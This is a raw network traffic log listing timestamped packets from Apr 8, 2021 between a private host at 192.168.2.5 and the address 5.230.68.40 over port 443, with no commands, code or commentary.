Apr 8, 2021 18:46:40.653676033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653712988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653737068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653757095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653774977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653776884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653795958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653800011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653901100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653912067 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653922081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653951883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653973103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653976917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653990984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653995037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654033899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654052019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654120922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654139042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.654181004 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.654201031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654226065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654239893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654252052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.654316902 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.654334068 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.654359102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.655092955 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.655735970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.655767918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.655917883 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.670816898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.670866966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.670885086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.670921087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.671005011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.671057940 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672444105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672475100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672492027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672514915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672534943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672547102 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672558069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672575951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672597885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672600031 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672616959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672626019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672673941 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672676086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672696114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672714949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672733068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672744036 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672795057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672805071 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672823906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672878981 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.672913074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672936916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672956944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672964096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672974110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.672996044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673002005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673064947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673124075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673136950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673182964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673185110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673197031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673219919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673254013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673269987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673286915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673367023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673389912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673408031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673420906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673420906 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673449993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673454046 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673469067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673528910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673541069 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673547983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673598051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673655987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673670053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673681974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673711061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673736095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673883915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673892021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673928976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673943043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.673947096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.673965931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.674025059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698254108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698292017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698375940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698410988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698441982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698443890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698472977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698477983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698482990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698504925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698535919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698573112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698590040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698605061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698616982 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698636055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698667049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698704958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698734045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698744059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698765039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698793888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698805094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698828936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698836088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698865891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698904991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698926926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698935986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698955059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.698967934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.698997974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699039936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699060917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699085951 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699090958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699121952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699151993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699176073 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699182034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699213028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699244022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699261904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699275017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699287891 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699357986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699403048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699448109 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699486017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699517012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699570894 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699583054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699625015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699654102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699654102 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699712992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699721098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699748039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699784040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699805975 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699815989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699846983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699878931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699886084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699909925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699928999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.699940920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.699971914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.700010061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.700037956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.700042009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.700069904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.700072050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.700102091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.700128078 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718004942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718035936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718069077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718113899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718139887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718167067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718172073 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718219042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718254089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718276978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718303919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718326092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718333960 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718374968 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718478918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718502998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718528986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718549967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718583107 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718592882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718611002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718633890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718656063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718656063 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718677998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718700886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718746901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718769073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718799114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718827963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718842983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718853951 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718866110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718888044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718935013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718936920 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.718960047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.718981981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719005108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719006062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719034910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719053030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719089031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719094038 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719113111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719204903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719233036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719253063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719254017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719275951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719295025 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719297886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719327927 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719355106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719475031 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719480038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719515085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719530106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719556093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719578028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719603062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719710112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719733000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719757080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719790936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719799042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.719933987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719963074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.719985008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.720015049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.720526934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.737073898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.737097979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.737184048 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739296913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739310980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739351988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739363909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739379883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739392996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739404917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739413977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739422083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739435911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739440918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739445925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739453077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739465952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739480019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739483118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739495993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739497900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739507914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739521027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739525080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739538908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739551067 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739556074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739582062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739594936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739608049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739623070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739635944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739661932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739670038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739674091 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739684105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739701033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739712954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739738941 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739748001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739758015 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739763021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739777088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739779949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739810944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739825010 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739826918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739845037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739864111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739876986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739886045 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739890099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739917040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739917994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739928007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739938021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739939928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739960909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.739970922 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.739975929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.740000963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.740005970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.740019083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.740035057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.740061998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.740062952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.740076065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.740089893 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.740119934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.741461992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.741497993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.741578102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.741585970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.741590023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.741604090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.741687059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.765535116 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765585899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765614033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765641928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765670061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765670061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.765697956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765721083 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.765728951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765758038 CEST	443	49727	5.230.68.40	192.168.2.5
